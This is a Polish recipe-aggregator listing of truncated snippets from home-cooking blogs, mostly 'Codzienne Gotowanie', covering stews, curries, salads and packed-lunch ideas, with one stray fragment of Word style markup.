trzeba ich aż tak wiele by poczuć chęć do działania. Dziś mój talerz zdobią pomarańczowe wstążki z marchewki. Niby nic wielkiego, a jednak oko się cieszy. Wieprzowina  w sosie musztardowym składniki: 800 g mięsa wieprzowego na gulasz 2 łyżki musztardy francuskiej 1 łyżka musztardy Dijon 4 marchewki 4 szalotki 150 ml śmietany 18% 300 ml białego wina wytrawnego

Przysmaki Karolki
Sałatka z kapustą pekińską i kurczakiem 250

Podsmażamy na oliwie i odstawiamy do ostygnięcia. Z kapusty odlewamy nadmiar wody, dodajemy kurczaka, kukurydzę i paprykę pokrojoną w kostkę. Oliwę, sok z cytryny i oregano łączymy ze sobą. Sosem polewamy sałatkę i mieszamy. Ewentualnie doprawiamy solą i pieprzem

e-PrzepisyKulinarne
Klopsikowa wariacja 160

Dziś mam dla Was klopsiki w fajnym sosie a do nich makaron ryżowy. W tym makaronie fajne jest to, że nie trzeba go gotować bo wystarczy zalać wrzątkiem i troszkę poczekać. Ilość dodatków może Was lekko przerazić ale to jest własnie wariacja i kombinacja smakowa. Ale muszę przyznać, że smaczna. Więc nie zawsze sprawdza się, że dobrze nie znaczy dużo

Ewa w kuchni
Gulasz ze słodkich ziemniaków, marchewki i jarmużu 180

takie dania lubię ostatnio najbardziej. W chłodniejsze dni organizm sam domaga się czegoś ciepłego, konkretnego a ten gulasz świetnie się w takim wydaniu sprawdzi. W kremowym, ale nie tłustym, sosie kryje się cała rozgrzewająca moc tego dania! Do przygotowania 2 porcji gulaszu potrzebujemy: – 1 słodkiego ziemniaka – 2 małe marchewki – 1 małą cukinię – sól, pieprz, curry

Szybko Tanio Smacznie
Ciasto wiewiórka z żurawiną 226

jednym z najzdrowszych owoców. Ma działanie antybakteryjne i przeciwzapalne. Jest źródłem wielu cennych witamin, niezbędnych do prawidłowego funkcjonowania organizmu. W kuchni żurawina jest wykorzystywana do przygotowania ciast, ciastek, deserów, sosów, mięs, czy domowych alkoholi. Żurawina o smaku wiśni podbiła moje kubki smakowe. W cieście doskonale współgrała z orzechami i jabłkami. Zdecydowanie zagości na dłużej w mojej kuchni. Żurawiny smakowe MAKAR

Tradycyjna kuchnia Kasi
Pieczeń z mięsa mielonego z zielonym groszkiem 253

groszek i delikatnie wymieszać. 3. Formę keksówkę posmarować olejem i oprószyć bułką tartą. Wyłożyć mięso. Całość piec w 180 st.C przez 1,45h. 4. Na ciepło zjedliśmy z dodatkiem sosu pieczarkowego , a na zimno do kanapek. Smacznego

Kuchnia domowa Ani
DOMOWY MAJONEZ, BEZ KONSERWANTÓW, BEZ JAJ KURZYCH 220

szczęście nieszkodliwe. Trzeba się tylko trochę więcej napracować, ale za to jaka satysfakcja. Najczęściej przygotowuję taki tradycyjny majonez , który zamieszczałam już jakiś czas temu, polecam także pyszny czosnkowy sos aioli , a dzisiaj także mój majonez bez dodatku jaj kurzych, to dla tych, którzy są uczuleni na te właśnie jaja. Taki majonez można przygotować na bazie jajek przepiórczych, które mają jeszcze

Smaczne Zdrowe
Placki warzywne (z cukinii) 227

masa nie była zbyt rzadka. Smażę na rozgrzanym oleju na patelni z każdej strony na rumiano. Odkładam na ręcznik papierowy do odsączenia. Tym razem placki cukiniowe podałam z sosem pieczarkowym

Kuchnia co dnia
Sałatka lodowa z tuńczykiem. 198

porcje 1 główka sałaty lodowej 2 puszki tuńczyka w sosie własnym 2-3 średnie pomidory 2 jajka ugotowane na twardo 4 łyżki oleju lub oliwy łyżka posiekanego drobno zielonego szczypiorku 2 łyżeczki soku z cytryny pieprz sól Sposób wykonania :   L iście sałaty dokładnie opłucz pod bieżącą wodą. Porozrywaj je palcami na mniejsze kawałki lub dość grubo posiekaj. Pomidory sparz

Przepisy i porady kulinarne
Szynka wieprzowa z siatki faszerowana jabłkami 224

prostu umieścić je w gotowej siatce. Po upieczeniu pokrojone plastry są ładne i równe. Zdecydowanie ułatwia krojenie i dodatkowo wygląda bardzo estetycznie. Odgrzewać najlepiej pokrojone w plastry w sosie. Składniki: 1.200 g mięsa od szynki 1,5-2 kwaśne jabłka (boskop, antonówka) 1 cebula 8 świeżych listków szałwi sól, pieprz 250 ml bulionu warzywnego listek laurowy i ziele angielskie - opcjonalnie

Gotuj zdrowo!Guten Appetit!
Placki bananowe z kaszki mleczno-ryżowej o smaku waniliowym 186

masę. Rozgrzewamy olej rzepakowy i nakładamy łyżką placki. Smażymy z obu stron i wykładamy na ręczniczki papierowe do osuszenia. Przekładamy na talerzyki i jemy z ulubionymi dodatkami ( u mnie sos karmelowy). Smacznego

ChilliJemy
Makaron z brokułem, boczkiem i orzechami 143

Przedstawiam moją propozycję na pyszne, rozgrzewające i sycące danie obiadowe, które przygotujemy w 20 minut. Kremowy sos z słodkawą cebulą, wyrazista kiełbasą i chrupiącymi orzechami zestawiony z zielonym brokułem stanowi bardzo sycące danie, idealne na jesienny obiad, kiedy za oknem zimno i wietrznie. Nie oszukujmy się to danie nie jest dietetyczne choć można je nieco "uzdrowić

Pyry na Gaz
Golonka delikatna i rozpływająca się w ustach 357

być mocno przypieczona, jeśli golonka ciągle będzie biała przedłużyć czas pieczenia i zwiększyć temperaturę do 220 C Podczas pieczenia czasami trzeba dolać wywar od gotowania golonki. Zawsze musi być sos w brytfannie. Ważne – 30 minut przed końcem pieczenia włożyć na raszki naokoło pieczeni. Golonka jest pyszna, polecam

Kuchnia Pokoleń
Gulasz z żołądków, przepyszny 214

Zrobiłam go dzisiaj na obiad, tym razem z warzywami. Sos który się wytworzył podczas gotowania jest pyszny, bardzo polecam. Smakowało wybornie Żołądki dokładnie oczyścić i pokroić na drobne kawałki. Rozgrzać patelnię i wrzucić pokrojony w drobną kostkę boczek wędzony, smażyć chwilkę, tłuszcz z boczku musi się lekko stopić. Dodać posiekaną drobno cebulkę i smażyć, aż zmięknie. Wrzucić pokrojone żołądki, łodygę

Kuchnia Pokoleń
Fajitas z kurczaka 204

ulubione warzywa Gotowe tortille Sól, pieprz, przyprawy i zioła (papryka słodka i ostra, oregano, natka pietruszki) oraz inne wg własnego uznania i smaku Do dania można podać różnego rodzaju sosy lub inne dodatki takie jak kwaśna śmietana, guacamole, salsa, żółty ser Kurczaka lekko posolić i przesmażyć na patelni aż się zrumieni. Wodę, która wydzieli się z kurczaka podczas smażenia należy

Codzienne Gotowanie
SAŁATKA SZPINAKOWA 175

mogą być różne w zależności od upodobań, czy sałatka ma być słodsza i delikatna czy bardziej kwaśna i nieco ostrzejsza. Szpinak przełożyć do dużej miski, dodać startą marchewkę, wlać sos, dodać migdały i delikatnie wymieszać. Podawać. Smacznego

Codzienne Gotowanie
Leczo 155

międzyczasie kiełbasę pokroić na plasterki i przesmażyć na patelni. Dodać do warzyw, dosypać soli, pieprzu i ziół, gotować na małym ogniu przez kolejne kilkanaście minut, aż warzywa zmiękną a sos stanie się lekko gesty i aromatyczny. Smacznego

Codzienne Gotowanie
Makaron z suszonymi pomidorami, bekonem i kaparami 189

Smażyć jakiś czas na wolnym ogniu, dodać ugotowany makaron, dosypać ziół, wszytko dokładnie wymieszać. Dodać Philadelphię i niewielką ilość mleka, w zależności od tego jak dużo i jakiej konsystencji sos chcemy uzyskać. Smażyć jeszcze chwilkę i od razu podawać. Smcznego

Codzienne Gotowanie
Warzywne curry 145

Smażyć aż cebula zbrązowieje.  Do przesmażonych przypraw dodać warzywa, doprawić cukrem i solą, dolać jogurtu, a w razie potrzeby podlać niewielką ilością wody. Smażyć na niewielkim ogniu aż sos się zagotuje. Podawać. Smacznego

Codzienne Gotowanie
Wieprzowina madras 149

cebulę, czosnek i chili pokrojone w cienkie plasterki i utarty imbir przesmażyć na głębokiej patelni. Dodać 2 łyżki pasty maras i dobrze wymieszać, można podlać niewielką ilością wody, aby sos był nieco rzadszy. Dodać mięso i smażyć aż zmieni kolor. Wlać pomidory, miód, ocet oraz drobno posiekaną kolendrę. Wszystko smażyć przez kilkanaście minut na niewielkim ogniu. Podawać z chlebkiem

Codzienne Gotowanie
Makaron z wędzonym łososiem, groszkiem i szparagami 182

smażyć aż będzie różowy. Wlać crame frache,dodać szpragi i groszek - delikatnie wymieszać. Chwilę gotować na niewielkim ogniu. Dodać odcedzony makaron. Wszystko delikatnie wymieszać, aby cały makaron pokrył się sosem, doprawić solą i pieprzem. Podawać gorące. Smacznego

Codzienne Gotowanie
Kurczak z mango 126

podlać odrobiną wody. Dodać pokrojonego w niewielką kostkę kurczaka i smażyć przez kilka minut aż mięso będzie białe. Wlać pomidory, dodać pokrojone w kostkę mango i paprykę - dusić aż sos nieco odparuje. Pod koniec gotowania wsypać świeżą kolendrę, doparwić do smaku solą i pieprzem. Podawać natychmiast. Najlepiej smakuje z chlebkiem nan. Smacznego! PS. Przypadkowo tak się złożyło, że następnego dnia

Codzienne Gotowanie
Szybkie paszteciki z mięsa rosołowego 239

pieczenia blasze i piec w 180 stopniach kilkanaście minut lub do momentu aż  paszteciki się zrumienią. Podawać z czerwonym barszczykiem. Paszteciki mozna takze jeść z keczupem lub sosem sweet chilli – smakuja wybornie. Smacznego

Codzienne Gotowanie
Trifle truskawkowe 197

Trifle - to stary angielski deser, znany juz w XVI wieku i stopniowo modyfikowany, az do osiagniecia obecnej formy w XIX wieku. Sklada sie z ciasta biszkoptowego, owocow, custurdu (sosu angielskiego), soku owocowego lub galaretki i bitej smietany, ulozonych warstwowo.  Jak wspomnialam, nie potrafie przygotowywac slodkosci, postanowilam wiec nieco ulatwic sobie to zadanie i podobnie jak wiekszosc rodowitych brytyjczykow, pojsc

Codzienne Gotowanie
Tarta ze szparagami 186

pokroić w plasterki, górną część pozostawić. Plasterki szparagów dodać do mieszaniny śmietany i jajka.  Ciasto rozwałkować na grubość około pół centymetra, wyłożyć nim naczynie do pieczenia tarty, zalać sosem śmietanowym, na wierzchu ułożyć szparagi i przekrojone na pół pomidorki koktajlowe.  Piec w temperaturze 200 stopni przez 20-30 minut, lub aż masa się zetnie, a wierzch zarumieni. Podawać

Codzienne Gotowanie
Cukinia faszerowana mięsem 150

okolo półcentymetrową skórkę. Miąższ pokroić i dodać do mięsa. Do mięsa dolać przecier pomidorowy i dosypać ziół i przypraw, posolić i popieprzyć do smaku. Smażyć na niewielkim ogniu aż sos odparuje. Gdy farsz będzie gotowy i dobrze doprawiony wypełnić nim wydrążone cukinie, ulożyć je na blasze, posypać startym serem, popruszyć słodką papryką (ja użyłam przyprawy do pizzy) i zapiekać przez

Codzienne Gotowanie
Curry z orzechami nerkowca 162

kawałki wielkości kęsa. Smażyć przez chwilę aż kurczak lekko się podsmaży - zrobi się biały, następnie dodać pieczarki pokrojone na niewielkie kawałki. Podlać niewielką ilością wody do uzyskania pożądanej gęstości sosu i smażyć przez kilkanaście minut aż kurczak będzie usmażony. Podawać natychmiast z ryżem lub chlebkiem naan .  Smcznego

Codzienne Gotowanie
Jedzonko do pracy #3 178

grilowych" przepisów, co prawda sezon się kończy, ale pomysły można przecież zachować na przyszły rok;)  A oto mój dzisiejszy zestaw do pracy: Śniadanie - tortilla z serkiem Philadelphia i sosem sweet-chilli (uwielbiam go). Lunch - kotlecik wołowy (od burgerów z dnia poprzedniego) i sałatka z różnych warzyw (cebula, sałata, pomidor, ogórek (świeży i kiszony), papryka) Smacznego

Codzienne Gotowanie
Pieczone buraki 171

pokroic w osemki. Czosnek obrac ze skorki. W niewielkiej miseczce wymieszac oliwe, ocet balsamiczny i miod,  dodac kminek, doprawic sola i pieprzem i dokaldnie wymieszac. Buraki zalac sosem i wymieszac, aby dokladnie sie nim pokryly. Na blache wylozona papierem do pieczenia wysypac buraki, cebule i czosnek, posypac niewielka iloscia tymianku i piec przez godzine lub do czasu az buraki

Codzienne Gotowanie
Spaghetti alla puttanesca 231

pokrojoną cebulę i wyciśnięty przez praskęczosnek, smażyć aż cebula zmięknie. Dodać płatki chili, anchovy, kapary i pomidory. Dusić na małym ogniu przez 10-15 minut, lub do czasu aż sos zgęstnieje. Dodać oliwki poprzekrawane na pół i posiekaną pietruszkę. Wszystko dokładnie wymieszać. Połączyć z makaronem, wymieszać i natychmiast podawać. Smacznego

Codzienne Gotowanie
Rajma Masala 199

dzisiejszego wspólnego gotowania postanowiliśmu przygotować wegetariańskie curry z czerwoną fasolą z jednego przepisu . Curry to nosi nazwę rajma masala - jego głównym składnikiem jest czerwona fasola w pysznym pomidorowym, aromatycznym sosie. Danie to jest niezwykle smaczne i bardzo sycące.  Wraz ze mną rajma masalę przygotowaly  Panna Malwinna i Maggie . Składniki: 2 puszki czerwonej fasoli 2 puszki pomidorów 1 czubata

Codzienne Gotowanie
Pulpeciki cynamonowe z sosem jogurtowo - miętowym 203

sól. Zwilżyć dłonie wodą i formować nieduże pulpeciki. Na patelni rozgrzać tłuszcz i usmażyć kotleciki. Przełożyć na talerz wyłożony papierowymi ręcznikami, aby odsączyć je z nadmiaru tłuszczu.  Sosu jogurtowo - miętowego W miseczce wymieszać jogurt z czosnkiem i miętą, doparwić do smaku solą i pieprzem oraz odrobiną cukru.  Pulpeciki podawać z kuskusem i sałatką pomidorowo - ogórkową z ciecierzycą . Smacznego

Codzienne Gotowanie
Kebab drobiowy 172

Dziś zapraszam Was na kolejne danie kuchni arabskiej, tym razem mięsne. Jest to popularny u nas szaszłyk, który wywodzi się z kuchni bliskowschodniej. Mięso marynowane jest w sosie z jogurtu z dodatkiem przypraw, dzieki czemu nabiera wspanialego aromatu, miekkości i soczystości. To idealne danie na szybki obiad, warunkiem jest jednak wcześniejsze przygotowanie mięsa. Skladniki: 2 piersi z kurczaka  szklanka

Codzienne Gotowanie
Pikantny dip marchewkowy 187

Dzis postanowilam przygotowac dip z marchewki.  Uwielbiam marchewke w kazdej postaci, jednak nigdy jeszcze nie przygotowywalam takiego sosu, gdy tylko zobaczylam przepis, postanowilam natychmiast go wyprobowac;)  Dip okazal sie fantastyczny - delikatny, kremowy, slodki, a jednoczesnie nieco pikantny. Ta fantastyczna przystawka idealnie nadaje sie do surowych warzyw, owsianych ciasteczek czy suchego pieczywa typu wasa lub do chrupania z paluszkami

Codzienne Gotowanie
Chili Con Carne 157

dusić na niewielkim ogniu. Doprawić do smaku solą i pieprzem, dodać pokrojoną w kostkę czerwoną paprykę i dusić do czasu aż zmięknie. Pod sam koniec gotowania dodać czerwoną fasolę. Sos najlepiej jest zostawić na noc i jeść dopiero następnego dnia. Wtedy smaki lepiej się połączą, a danie będzie smaczniejsze. Przed podaniem dobrze podgrzać i ponownie doprawić do smaku, ponieważ mięso

Codzienne Gotowanie
Kurczak dopiaza 199

Dopiaza oznaczy "dwie cebule", lub "podwójna cebula", chodzi o to że w tym daniu wykorzystana jest duża ilość cebuli pod dwoma postaciami, jedna drobno pokrojona i skarmelizowana jako baza sosu, druga pokrojona w grubą kostkę. Stosunek cebuli do ilosci mięsa to 2:1.  Dziś przygotowałam to curry z kurczakiem, ale występuje ono także w wersji z krewetkami, baraniną

Codzienne Gotowanie
Sałatka Olivier 186

kucharza w XIX wieku. Jest to sałatka bardzo podobna do znanej zapewne wszystkim tradycyjnej sałatki warzywnej, jedyną różnicą jest dodanie mięsa. Przepis na sałatkę był ściśle strzeżony (szczególnie receptura sosu), wiadomo jednak, że w jej skład wchodziły pardwa, ozory cielęce, kawior, sałata, kapary, ogony raków i wędzona kaczka, skład ulegał najprawdopodobniej sezonowym zmianom. Jak widzicie była to bardzo wyrafinowana sałatka

Codzienne Gotowanie
Sałatka z indyka z pesto na ogórku 183

oprószyć solą i pieprzem i grillować, ostudzić i pokroić w drobną kostkę. W miseczce dokładnie wymieszać jogurt z pesto, dodać do niego kawałki indyka i wymieszać, aby sos dobrze pokrył mięso. Ogórka dokładnie umyć i pokroić na plastry o grubości kilku milimetrów. Układać na nim indyka, przyozdobić plasterkami chili lub listkami kolendry. Ułożyć na talerzu i podawać. Smacznego

Codzienne Gotowanie
Meksykański gulasz z kurczaka 470

kurczaka, doprawić solą i pieprzem oraz słodką i ostrą papryką. Po kilku minutach wyłowić kawałki kurczaka i rozdrobnić je dwoma widelcami, a następnie włożyć z powrotem na patelnię do sosu, dodać fasolkę, dokładnie wymieszać i dusić jeszcze przez chwilę. Podawać na kukurydzianych tortillach z czerowną cebulą, posiekaną kolendrą i kwaśną śmietanką. Smacznego

Codzienne Gotowanie
Jedzonko do pracy 14 205

nadzieję będą pojawiały się teraz bardziej regularnie, a mianowicie  co środę. Dziś polecam: Śniadanie : Sałatka z białego sera z tuńczykiem, czerwoną cebulą i kiszonym ogórkiem. Lunch : Kurczak w sosie indyjskim z makaronem. A na przekąskę bób do skubania ;)  Smacznego

Codzienne Gotowanie
Jedzonko do pracy #15 170

zestaw jedzonka do pracy. Lekkie i letnie sałatki i warzywa, a do tego bardzo smaczne. Polecam! Dziś polecam: Śniadanie - sałatka krabowa i kilka plasterków pikantnego salami Lunch - makaron z sosem włoskim a la puttanesca Smacznego

Codzienne Gotowanie
Kuskus z chorizo 191

Dziś wtorek, w związku z czym zapraszam Was na kolejny "mięsny" post. Dzisiejsze danie pochodzi z kuchni hiszpańskiej, jest to kuskus z chorizo, papryką i cieciorką w sosie pomidorowym. Muszę przyznać, że chorizo to moje całkiem niedawne odkrycie. Żałuję, że stało się to tak późno, ponieważ ta hiszpańska kiełbaska jest naprawdę przepyszna. Można ją przyrządzać na wiele sposobów, jednak przesmażona

Codzienne Gotowanie
Zupa z kukurydzy z mlekiem kokosowym 146

chwilę przestudzić i dokładnie zmiksować, następnie ponownie podgrzać, wcisnąć sok z cytryny, doprawić solą i pieprzem do smaku. Podawać gorącą, a dla fanów ostrych smaków może zostać przybrana ostrym sosem Srirarcha. Smacznego

Codzienne Gotowanie
Risotto z gruszką i gorgonzolą 225

dente, czyli miękki, ale jednocześnie lekko twardawy, czyli taki, aby stawiał niewielki opór zębom. W miarę gotowania z ryżu będzie wydzielała się skrobia, z której powstanie pyszny kremowy sos, który stanowi podstawę dobrego risotto. Gdy ryż będzie już miękki dodać pokruszoną gorgonzolę i delikatnie wszystko wymieszać, zostawić na chwilę aż ser się roztopi. Doprawić do smaku solą i pieprzem. Natychmiast

Codzienne Gotowanie
Spagetti z tuńczykiem 180

pieprz oraz sok z cytryny. Wszystko dokładnie wymieszać widelcem. Do tuńczyka dodać niewielką ilość wody z gotowania makaronu, wymieszać, dodać spagetti, dokładnie wymieszać aż makaron połączy się z sosem tuńczykowym. Nałożyć na talerze, posypać pozostałymi kaparami i od razu podawać.  Smacznego

Codzienne Gotowanie
Baranina po rzymsku 194

Dodać do mięsa. Wszystko dokładnie wymieszać i gotować pod przykryciem na niewielkim ogniu przez 20-30 minut. Gdy mięso będzie miękkie odkryć patelnie, dodać oliwki, wymieszać i gotować aż sos się zredukuje, zgęstnieje. Mięso podawać natychmiast z puree ziemniaczanym.  Smacznego

Codzienne Gotowanie
Papryka faszerowana 174

drobną kosteczkę i dodać do farszu. Doprawić do smaku solą i pieprzem, słodką i ostrą paprykę oraz ziołami - oregano i bazylią. Smażyć przez chwilę aż warzywa zmiekną, a sos nieco zgęstnieje.  Papryki ułożyć na blasze do pieczenia lub w naczyniu żaroodpornym, delikatnie napełnić je farszem i zapiekać przez około 10 minut. Pod koniec pieczenia posypać żółtym serem i oprószyć

Codzienne Gotowanie
Dynia w mleku kokosowym 173

Dodaj pokrojoną w niewielką kostkę dynię, chwilę przesmaż. Wlej mleko kokosowe, zmiejsz ogień i duś przez 20 minut aż dynia lekko zmieknię, następnie zdejmij pokrywkę i gotuj dalej aż sos zgęstnieje. Dopraw do smaku solą i pieprzem. Podawaj udekorowane drobno pokrojonym chili i listakmi kolendry. Smacznego

Codzienne Gotowanie
Wieprzowina z marchewką 198

Mięso umyć, osuszyć i pokroić w kostkę wielkości kęsa. Dodać do gotującej się marchewki, zmniejszyć ogień i dusić bez przykrycia do czasu aż marchewka będzie miękka, a mięso ugotowane. Sos powinien odparować i zgęstnieć, w razie potrzeby zagęścić mąką kukurydzianą rozrobioną z wodą.  Smacznego

Codzienne Gotowanie
Dietetyczny klops 193

warzywa będą lekko miękkie, wtedy dodać mięso, dokładnie wymieszać i gotować na niewielkim ogniu aż mięso będzie ugotowane, a płyn odparuje.  Masę warzywno mięsną odcedzić. Bułkę namoczyć w sosie z warzyw i mięsa, jeżeli nie było jej wystarczająco dużo, bułkę namoczyć w wodzie. Rozmoczoną bułkę i jajko dodać do warzyw i wszystko dokładnie wymieszać. Przełożyć do podłużnej formy (keksówki

Codzienne Gotowanie
Jedzonko do pracy #19 163

dietetyczy. Śniadanie : Bułeczki z serkiem Philadelphia i gotowanym buraczkiem. Lunch : Pieczone pulpeciki z mięsa z indyka z ziołami, kuskus z cytryną i pietruszką, a do tego miętowo - koperkowy sos jogurtowy. Smacznego

Codzienne Gotowanie
Jedzonko do pracy #20 218

zestaw jedzenia do pracy. Ponieważ uchowała mi się w domu jeszcze jedna dynia, będzie dyniowo i pomarańczowo ;)  Śniadanie : Sałatka z tuńczyka, karczochów i ryżu. Lunch : Pulpeciki drobiowe w sosie dyniowym na mleku z ryżem. Przekąska : Placuszki dyniowe smażone bez tłuszczu. Smacznego

Codzienne Gotowanie
Jedzonko do pracy #24 188

dzisiejszym zestawie jedzonka do pracy znajdziecie: Śniadanie : Brioszki z wolno pieczoną szynką z buraczkiem. Lunch : Makaron z cukinią w sosie pomidorowym Przekąska : Ciastko z budyniem (kupne, ale bardzo je lubię) A już wkrótce lżejsze i bardziej wiosenne zestawy ;) Smacznego

Codzienne Gotowanie
Roladki drobiowe ze szparagami 183

stopni przez około 20 minut lub do czasu aż mięso będzie upieczone, a szparagi miękkie. Podawać z ulubioną surówką, u mnie sałatka z zielonego ogórka z jogurtem z dodatkiem sosu sweet chilli (pychotka).  Smacznego

Codzienne Gotowanie
Wiosenne farfalle 158

dodać do szparagów. Do warzyw dodać serek Philadelphia i śmietanę, doprawić solą, pieprzem i bazylią, dokładnie wymieszać, aby ser się rozpuścił. Dodać makaron i wymieszać, aby połączył się z sosem i warzywami. Natychmiast podawać. Smacznego

Codzienne Gotowanie
Jedzonko do pracy #28 205

zajmuje to więcej czasu. Chyba się starzeję ;) Śniadanie: Serek wiejski z ananasem i przyprawą curry Lunch : Pieczone kofty z mięsa drobiowego z cukinią i koperkiem, do tego kuskus i sos jogurtowo - koperkowy. Przekąska : Banan Smacznego

Codzienne Gotowanie
Sałatka ziemniaczana ze szparagami i jajkiem 179

najlepiej w niewielkim, szczelnie zakręcanym słoiczku, aż wszystkie składniki się połączą. W dużej misce wymieszać ziemniaki pokrojone na mniejsze kawałki, szparagi i cebulę pokrojoną w cieniutkie plasterki. Całość zalać sosem winegretem i dokładnie wymieszać. Sałatkę przełożyć na półmisek, położyć na niej jajka pokrojone w ćwiartki, oprószyć pieprzem i parmezanem. Podawać. Smacznego

Codzienne Gotowanie
Jedzonko do pracy #32 257

młodej botwinki, koperku, szczawiu itp. Muszę sobie radzić bez tych wspaniałych, wiosennych warzyw, dlatego dziś w moim pudełku nieco azjatycko ;)  Śniadanie : Omlet japoński z dodatkiem dymki i sosu sojowego Lunch : Cukinia z krewetkami i sałatka z marchewki i białej rzodkwi. Smacznego

Codzienne Gotowanie
Wołowina z marchewką i groszkiem 198

czasu aż mięso i marchewka będą miękkie, zamieszać od czasu do czasu. Pod koniec gotowania dodać groszek, delikatnie wymieszać i gotować jeszcze przez kilka minut z uchyloną pokrywką, aby sos zgęstniał. Podawać przybrane natką pietruszki z ryżem lub chlebkiem. Smacznego

Codzienne Gotowanie
Jedzonko do pracy #33 217

Dziś zapraszam na szybki zestaw jedzonka do pracy, przygotowany na podstawie obiadu z poprzedniego dnia.  Lunch : kofty jagnięce z miętą z sosem czosnkowym, do tego sałatka: sałata, cebula, pomidorki, ogórek.  Smacznego

Codzienne Gotowanie
Tajine z wołowiny 164

macie naczynia do tagine, możecie zrobić je w wolnowarze, w naczyniu do casserole w piekarniku lub w rondlu o grubym dnie na palniku ostawionym na małą moc, wtedy należny sos od czasu do czasu zamieszać. Polecam! Składniki : 500g wołowiny 2 cebule 2 ząbki czosnku 3-4 marchewki 250-300ml bulionu wołowego puszka krojonych pomidorów (400g) garść suszonych śliwek garść

Codzienne Gotowanie
Jedzonko do pracy #34 195

przerwie nie jest łatwy i na dodatek trzeba wymyślać kolejne zestawy jedzonka ;)  Śniadanie - sałatka z ciecierzycy, pomidorków i cebuli Lunch - dietetyczne, kremowe bolognese z mięsa z indyka z sosem pomidorowym z dodatkiem serka Philadelphia Przekąska - rzodkiewki Smacznego

Codzienne Gotowanie
Kurczak Pasanda 256

należy ona do moich ulubionych kuchni świata i odkąd mieszkam na Wyspach zgłębiam jej tajniki. Dziś w związku z "Mięsnym Wtorkiem" chciałabym zaproponować przepis na pysznego, kremowego kurczaka w sosie z dodatkiem migdałów. Danie pochodzi z północnych Indii i Pakistanu. "Pasande" w języku urdu oznacza "ulubiony", co odnosi się to do dobrej jakości mięsa wykorzystanego w daniu. Pierwotnie do tego

Codzienne Gotowanie
Jedzonko do pracy #35 223

kuchni i coś przygotowywać, dlatego takie proste, błyskawiczne dania świetnie się sprawdzają. Śniadanie : Serek wiejski z ananasem i curry. Lunch : Noodle a la carbonara (z bekonem, groszkiem i sosem z serka Philadelphia) Przekąska : Sałatka z ciecierzycy z cebulką, pomidorkami i fetą. Smacznego

Codzienne Gotowanie
Curry z jajkiem 197

smaku solą i pieprzem. Chwilę gotować, po czym dodać przekrojone na połówki jajka i gotować na niewielkim ogniu prze kilka kolejnych minut, aż jajka się podgrzeją i przejdą aromatem sosu. Podawać natychmiast z chlebkiem nan lub ryżem. Smacznego

Codzienne Gotowanie
Jedzonko do pracy #37 246

bułeczkę (scone) i w ten sposób udaje mi się dotrwać do lunchu.  Lunch : Szaszłyk z kurczaka z kuskusem z sokiem z cytryny i natka pietruszki, sałatka z pomidorów, sos tzatziki.  Smacznego

Codzienne Gotowanie
Zupa marchewkowa z masłem orzechowym 234

orzechowe i wszystko bardzo dokładnie zmiksować. Doprawić do smaku solą i pieprzem oraz sokiem z cytryny (opcjonalnie). Podawać przybraną bazylią, śmietaną, mleczkiem kokosowym, lub tak jak u mnie ostrym sosem sriracha. Smacznego

Codzienne Gotowanie
Jedzonko do pracy #40 249

kuchni i na talerzu, dlatego u mnie dziś żółty omlecik, zielone brokuły i czerwona papryka. Mam nadzieję, że zestaw się spodoba i zasmakuje ;) Śniadanie : Japoński omlet z cukrem i sosem sojowym. Lunch : Stir-fry z wołowiny z brokułem, podany z ryżem. Przekąska : Czerwona papryka, pomidor. Smacznego

Codzienne Gotowanie
Łosoś pieczony z dipem jogurtowo-ziołowym 241

super szybki i zdrowy obiad. Łosoś w formie basic, przyprawiony tylko solą, pieprzem i sokiem z cytryny. Nie trzymajcie go zbyt długo w piekarniku bo się wysuszy. Z sosem na bazie jogurtu naturalnego ze świeżymi ziołami będzie pysznym, dietetycznym posiłkiem, dla tych liczących kalorie;)  Składniki na 2 porcje: 2 kawałki filetu z łososia ze skórą, każdy

Smakowity Blog Kulinarny
Wegańskie kiełbaski hot-dogi 233

głównie z burgerów) o hot-dogi. Efekt przerósł moje oczekiwania, kiełbaski okazały się pikantne, z chrupiącą skórką i miękkie w środku,przez co  idealnie komponowały się z warzywami, sosem i przypieczoną na ruszcie bagietką :) Następnym razem planuję dodać płyn wędzarniczy a same wege kiełbaski zapakować w osłonki foliowe. Polecam wegańskie kiełbaski szczególnie na grilla, choć nadają się do usmażenia

VegUlka
Zdrowa sałatka z awokado . 294

części.Awokado obieramy i kroimy w kostkę. Olej kokosowy wymieszać z musztardą , miodem , ostropestem solą morską . Miodu w zależności jaką lubicie słodycz . Na talerzu ułożyć wszystkie warzywa i polać sosem.   Podawać np: z grzanką. Smacznego

Sama słodycz i szczypta chili
Surówka z kapusty pekińskiej z rzodkiewką 216

zrobiłam surówkę z kapusty pekińskiej z rzodkiewką . Jeśli macie ochotę na inną wersję przystawki z kapustą pekińskiej to również znajdziecie na moim blogu np z marchewką (przepis) , albo z sosem curry, którą uwielbiam (przepis) . Ja takie sałatki lubię również jako dodatek do kanapek i od razu smakują lepiej. Składniki: 1 średnia główka kapusty pekińskiej 1 puszka kukurydzy 1 pęczek rzodkiewek

O kuchni z uczuciem
Stir fry z warzywami, kurczakiem w orzechach z makaronem gryczanym 255

brokuła  1 łyżka mąki ziemniaczanej pęczek szczypiorku 150 g prażonych posiekanych orzechów włoskich  1 dymka olej kokosowy do smażenia marynata do kurczaka 4 łyżki sosu sojowego 1 łyżeczka świeżego startego imbiru 1 sprasowany ząbek czosnku 0,5 łyżeczki pieprzu białego  Ciekawe rozwiązania znajdziecie  tutaj Przygotowanie: Wszystkie składniki marynaty połączyć ze sobą zamarynować kurczaka

Niezły Młynek
Dynia makaronowa w wersji wegetariańskiej prosty przepis 199

Doprawić solą i świeżo zmielonym pieprzem. Na koniec dodać przecier pomidorowy i zioła. Chwilę podsmażać.  Posypać bazylią. Dodać do gorącej dyni. Dla lubiących trochę ostrzej polecam do sosu dodać odrobinę papryczki chilli. Smacznego :) Zapraszam do komentowania :) i dzielenia się swoimi pomysłami na dynię

Jemy Pijemy
Śledzie w sosie musztardowym 173

godz aby wywietrzała i zmiękła. Rybę osuszamy, kroimy na mniejsze kawałki. Śmietanę, majonez, musztardę, starte jabłko i curry mieszamy. W słoiku układamy warstwami cebule i śledzie, zalewamy powstałym sosem i wstawiamy na kilka godzin ( im dłużej, tym lepiej ) do lodówki. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

R'n'G Kitchen
Fave 198

